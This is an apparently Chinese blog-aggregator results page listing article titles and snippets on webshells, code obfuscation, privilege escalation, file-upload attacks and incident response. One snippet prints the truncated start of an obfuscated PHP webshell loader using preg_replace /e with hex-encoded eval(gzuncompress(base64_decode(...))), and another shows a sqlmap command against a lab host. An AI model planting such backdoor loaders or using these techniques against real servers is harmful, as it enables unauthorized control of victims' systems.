webshell代码混淆

redis安全攻防（专注渗透视角）

.修改配置文件redis.conf5.连接Redis1.Redis未授权访问产生条件漏洞危害漏洞发现连接Redis服务器-linux连接Redis服务器-windows不存在未授权情况2.Redis写webshell3
lainwith·2023-04-12 04:30

jar包加密发布之xjar

对比代码混淆的方式，这种方式基本不会暴露代码的变量主要逻辑等。效果展示加密前通过idea开发工具查看源码：加密后通过idea开发工具查看源码:实现过程1
y打伞的鱼y·2023-04-12 03:09

ProGuard 最全混淆规则说明

Android混淆入门可参考《Android代码混淆零基础入门》imageInput/OutputOptions输入输出选项-includefilename递归引入目录的配置文件-b
中v中·2023-04-12 02:39

nginx负载均衡下的webshell上传的实现

目录场景描述环境的安装复现过程存在的问题解决方案场景描述假定在真实生产环境中，存在一个RCE漏洞，可以让我们获取WebShell环境的安装首先在GetHub上拉去漏洞的镜像前，需提前在centos上安装
·2023-04-12 01:38

APK加固方式

一:代码混淆Proguard是一个代码优化和混淆工具。能够提供对Java类文件的压缩、优化、混淆，和预校验。压缩的步骤是检测并移除未使用的类、字段、方法和属性。优化的步骤是分析和优化方法的字节码。
Coder_Sven·2023-04-12 01:11

kali系统的jsql工具具体介绍

数据库查询、后台爆破、文件读取、Webshell、SQLShell、文件上传、暴力枚举、编码、批量注入测试等强大的功能。如何安装：sudoaptinstalljsql-injectionjsq
sky wide·2023-04-11 20:28

如何进行内网穿透

当我们通过webshell或者其它一些方式获取到一台可以访问内网的服务器权限后，如果要做进一步的渗透，往往要访问内网中的其它主机，但其它主机在内网中，我们无法直接访问。
TimeShatter·2023-04-11 14:06

微前端之前端架构、软件设计原则及分层、架构设计的质量、架构前期准备、技术填补及崩溃预防和系统重构

架构前期准备、技术填补及崩溃预防和系统重构前端架构是如何产生的，如下所示：初始，无架构，前端代码内嵌到后端应用中，js代码混入到后端代码后端mvc架构，将视图层、数据层、控制层做分离，缺点是重度依赖开发环境，代码混淆严重
殇陌离tk·2023-04-11 13:45

网络安全-应急响应之入侵排查篇及相关工具

常见的应急响应事件分类：Web入侵：网页挂马、主页篡改、Webshell系统入侵：病毒木马、勒索软件、远控后门网络攻击：DDOS攻击、DNS劫持、AR
kuokay·2023-04-11 12:54

iOS 代码混淆上架审核不通过(2. 3 Performance: Accurate Metadata)

最近很多大佬在上架马甲包的时候，从网上找了一些脚本来混淆马甲包或者一些付费的软件，很多脚本或者软件混淆生成的字符串都是随机的，或者吧系统方法混淆了，就会导致2.3或者2.3.1，具体如下：2.3Performance:AccurateMetadataGuideline2.3.1-PerformanceWediscoveredthatyourappcontainsobfuscatedcode,sel
ZFJ_张福杰·2023-04-11 05:36

Android代码混淆

什么是代码混淆删除无用代码，将代码中的各种元素，如包名、类名、函数名、变量名等改成无意义的符号，使得反编译你apk的人无法根据名字猜测代码的用途，这是一种加密手段。
Ezea·2023-04-11 04:24

Windows应急响应 - 敏感目录文件痕迹排查，最近打开的文件 Recent，临时目录Temp，预读取文件Prefetch，程序执行情况Amcache.hve，Windows文件访问时间不更新原理

敏感文件痕迹排查一、根据时间查找Forfiles1、访问时间不更新问题二、最近打开的文件Recent三、临时目录Temp四、预读取文件Prefetch五、程序执行情况Amcache.hve六、浏览器分析七、webshell
士别三日wyx·2023-04-10 15:11

webshell脚本木马工作原理

sqlmap注入判断是否是管理员调用sql-shell文件可以在里面执行命令执行文件指令会把文件保存到相对路径打开上传文件webshell类型后门的意思WEBSHELL工作原理执行代码请求方式变量，request
m0_63285023·2023-04-10 06:29

LLVM学习之基础知识

介绍：学习LLVM与代码混淆技术课程总结出来的经验，希望能够帮助到大家理解。
鱼无伦次·2023-04-09 17:32

Webshell（网页后门）

一、Webshell简介01什么是Webshellwebshell是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境·也可以得其称做为种网页木马后门。
正经人_____·2023-04-09 12:40

Potato提权小结

前言当我们拿到webshell却苦于无法提权早之前有巴西烤肉提权，有pr提权今天来一个土豆提权合集妈妈再也不担心我的webshell无法提权了HotPotato前言利用Windows中的已知问题在默认配置中获得本地权限提升即
每天都要努力哇·2023-04-09 02:38

SQL注入写入文件方法（获取webshell）

数据库写入文件条件1、当前数据库用户为root权限2、知道当前网站的绝对路径3、secure_file_priv的参数必须为空或目录地址4、PHP的GPC为off状态；(魔术引号，GET，POST，Cookie)用sqli-labs测试查看当前用户权限Pythonsqlmap.py-uhttp://192.168.0.113/sqli-labs/Less-1/?id=1--is-dba写入文件，用
Goodric·2023-04-08 20:52

聊聊如何进行代码混淆

前言什么是代码混淆代码混淆，是指将计算机程序的代码，转换成一种功能上等价，但是难于阅读和理解的形式的行为。代码混淆常见手段1、名称混淆将有意义的类，字段、方法名称更改为无意义的字符串。
linyb极客之路·2023-04-08 05:05

常用的几种代码混淆技术

1.概述代码混淆是将计算机程序的代码转换成一种功能上等价，但是难以阅读和理解的形式。对于软件开发者来说，代码混淆可以在一定程度上保护程序免被逆向。
静析机言·2023-04-07 21:11

【评价指标】混淆矩阵Confusion Matrix

目录混淆矩阵以二分类为例多分类示例1.混淆矩阵2.iou（交并比）miou3.召回率4.acc(准确率）5.混淆矩阵可视化完整代码混淆矩阵混淆矩阵是大小为(n_classes,n_classes)的方阵
ting♡·2023-04-07 18:43

web安全-文件上传利用

前言在渗透测试中，文件上传漏洞利用方式一般是上传可以解析的webshell木马，获取服务器命令执行权限，随着开发安全意识和水平的不断提高，通过文件上传直接getshell的情况越来越少，当目标无法直接上传
Tide_诺言·2023-04-07 17:01

Spring Boot 项目代码混淆，实战来了，再也不用担心代码泄露了！！！！！！！！！！

混淆该篇玩的代码混淆，是其中一种手段。我给你看，但你反编译看到的不是真正的代码。先
<黑科技T_T·2023-04-07 16:00

android开发打包代码混淆

1、开启混淆在项目目录app目录下build.gradle文件中minifyEnabled设置为truebuildTypes{release{minifyEnabledtrueproguardFilesgetDefaultProguardFile('proguard-android-optimize.txt'),'proguard-rules.pro'}}2、保留不进行混淆的内容我项目中传输用的实
笑语轻柔·2023-04-07 14:56

网络攻防｜Web后门知识详解

0x00简介web后门泛指webshell，其实就是一段网页代码，包括ASP.ASP.NET.PHP.JSP.代码等。
灼剑（Tsojan）安全团队·2023-04-07 10:05

基于Babel对JS代码进行混淆与还原操作

原文地址js代码之还原自写在线混淆与还原网站JS代码混淆与还原(kuizuo.cn)还原前言AST仅仅只是静态分析，但可以将还原出来的代码替换原来的代码，以便更好的动态分析找出相关点。
愧怍12·2023-04-07 08:26

【Python代码/程序综合防护系列第 3 期】代码混淆 ( 网站混淆 & Pyarmor库 混淆)

什么是代码混淆？代码混淆是指将代码进行加密、压缩、乱序等操作，使得代码难以被阅读和理解，从而达到保护代码的目的。代码混淆可以有效地防止代码被反编译和盗用，提高代码的安全性。
HardCore Tech·2023-04-07 03:20

蚁剑食用指南

前言蚁剑是在攻防时常用的webshell管理器，但一直从未真正熟悉过。webshellphp在自己编写php一句话木马时，经常用到eval和assert这两个关键。
CSeroad·2023-04-06 17:42

学习笔记-权限维持

权限维持免责声明本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.大纲webwebshellwebshell管理工具webshell爆破无字母数字webshell
C-haidragon·2023-04-06 15:54

某音/TikTok算法分析 X-Gorgon X-Ladon X-Argus XG

仔细分析，可以看到xg的加密算法有些奇怪的定义：比如token的salt:这里是xg的核心函数：代码混淆得一塌糊涂啊，最新版的xg加密算法，几乎已经不能通过x-gorgon关键词
大海哥是我·2023-04-06 15:29

Tomcat CVE-2017-12615 远程代码执行漏洞

导致可以上传webshell文件，实现对服务器的控制。
Sunird·2023-04-06 13:42

Android项目构建之混淆（proguard）

二、混淆模板1、ProGuard基本指令下面列举了开发中需要使用的一些指令:#代码混淆压缩比，在0~7之间，
新助锦鹏·2023-04-06 04:24

Android 代码混淆规则

1.Proguard介绍AndroidSDK自带了混淆工具Proguard。它位于SDK根目录\tools\proguard下面。ProGuard是一个免费的Java类文件收缩，优化，混淆和预校验器。它可以检测并删除未使用的类，字段，方法和属性。它可以优化字节码，并删除未使用的指令。它可以将类、字段和方法使用短无意义的名称进行重命名。最后，预校验的Java6或针对JavaMicroEdition的
俊墨客·2023-04-06 04:53

linux提权总结

linuxweb到rootlinux本地到root:关于linux提权一般来说在webshell能运行的，到本地提权应该也可以运行，只要有一定的权限，一些方法在webshell上也可以运行，只是总结了一些常见的提权方法一般来说
mushangqiujin·2023-04-06 00:55

记一次weblogic反序列化到内网域控上线

命令执行，这里想到了三种上线法子，上传webshell、powershell上线、frp免杀上远程桌
pikeboom·2023-04-05 18:06

小迪安全day20WEB漏洞-文件上传之基础及过滤方式

上传Webshell脚本，网页后门，查看服务器目录，服务器中的文件等如何查找判断黑盒查找：不知道源代码情况下，通过目录扫描和网站应用，以及通过网站后台、会员中心进行获取权限，
航航编程很6·2023-04-05 17:32

【文件上传漏洞-01】文件上传漏洞及其防御

文件上传漏洞是漏洞中最为简单的利用形式，一般只要能上传获取地址，导致可执行文件被解析，就可以获取系统webshell。
百事都可樂.·2023-04-05 16:20

小迪安全day20WEB漏洞-文件上传之基础及过滤方式

上传Webshell脚本，网页后门，查看服务器目录，服务器中的文件等如何查找判断黑盒查找：不知道源代码情况下，通过目录扫描和网站应用，以及通过网站后台、会员中心进行获取权限，
航航编程很6·2023-04-05 16:19

2022年春秋杯网络安全联赛冬季赛--部分赛题WP

登陆操作系统后发现再/var/www/html/uploads/.index.php进行查看发现提示代码加密和root密码被aes加密，再根目录中发现tips的文件提示需要获取root密码拿flagPhp代码混淆解密发现
Sentry_Shork·2023-04-05 00:20

eclop连接mysql_关于PHP中的webshell

$LMsW="p"."r"."e"."g"."_r"."epl"."a"."ce";$LMsW("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'eJztfWtzHMeR4G
Maoyeedy·2023-04-04 21:44

安卓代码混淆

混淆模板：-optimizationpasses5#指定代码的压缩级别-dontusemixedcaseclassnames#是否使用大小写混合-dontskipnonpubliclibraryclasses-dontpreverify#混淆时是否做预校验-verbose#混淆时是否记录日志-optimizations!code/simplification/arithmetic,!field/*
Lucky丶夏日·2023-04-04 18:48

溯源（五）之攻击源的获取

我们溯源需要获取的数据有攻击者ip、域名、后门、攻击组件、webshell等等2、通过什么方式去获取？我们可以通过蜜罐、安全设备、钓鱼邮件、文件日志进程分析等操作去一步步分析获取3、什么是蜜罐？
私ははいしゃ敗者です·2023-04-04 06:10

攻防演练 | RASP让WebShell利用破防了

摘要WebShell是一种通过浏览器来进行交互的Shell，而且是黑客通常使用的一种恶意脚本，通常被攻击者用来获取对应用服务器的某些操作权限。
悬镜安全·2023-04-04 05:45

JSP webshell免杀——JSP的基础

唉，每次开启JSP都要好一会儿。话说我也不知道为啥，我的每次开启条件一次比一次苛刻。一开始必应就可以打开，再后来只能由谷歌打开，现在可好了得开着代理用谷歌才能进去。一个JSP页面可由5种元素组合而成(1)普通的HTML标记和JavaScript标记，CSS。(2)JSP标记，如指令标记、动作标记。标记符号之间声明变量，定义方法以及定义类。标记符号的内容习惯上放在JSP页面指令之后，之前，也可以写在
正在过坎·2023-04-04 05:33

JSP webshell免杀——webshell免杀

来吧，开始学习免杀首先，什么是webshell?webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境，主要
正在过坎·2023-04-04 05:33

Tomcat 弱口令 && 后台getshell漏洞

漏洞编号VUL-2021040008爆发时间2018-10-10漏洞简介Tomcat支持在后台部署war文件，可以直接将webshell部署到web目录下。其中，欲访问后台，需要对应用户有相应权限。
正在过坎·2023-04-04 05:02

史上最全 Windows 安全工具锦集

在深信服安全团队整理的常用工具的基础上，又添加了一批实用工具包括：调试反汇编工具、应急工具、流量分析工具和WebShell查杀工具，希望可以帮助到一些安全行业的朋友。
黑客迷·2023-04-03 21:07

Android混淆:了解一下代码混淆

简介作为Android开发者，如果你不想开源你的应用，那么在应用发布前，就需要对代码进行混淆处理，从而让我们代码即使被反编译，也难以阅读。混淆概念虽然容易，但很多初学者也只是网上搜一些成型的混淆规则粘贴进自己项目，并没有对混淆有个深入的理解。本篇文章的目的就是让一个初学者在看完后，能在不进行任何帮助的情况下，独立写出适合自己代码的混淆规则。说在前面这里我们直接用AndroidStudio来说明如何
嘤嘤嘤999·2023-04-03 18:57

APK优化小结

APK瘦身减少apk大小主要从代码、图片、so库、其他资源等方面进行优化；首先我们可以通过Gradle配置开启代码混淆(minifyEnabled)和资源压缩(shrinkResources)功能；这个配置可以在打包时将项目中无用的代码和资源删除
guangdeshishe·2023-04-03 16:19

Linux下通过WebShell反弹Shell的技巧

13.2Linux下通过WebShell反弹Shell的技巧Linux下通过WebShell反弹CmdShell，在网站服务器入侵提权过程中的应用比Windows环境下更广更频繁。
博文视点·2023-04-03 16:46

小迪安全学习笔记--第12天：web漏洞-SQL注入之简要SQL注入

有些可以获取权限，如getwebshell
铁锤2号·2023-04-03 15:56
上一页 17 18 19 20 21 22 23 24 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他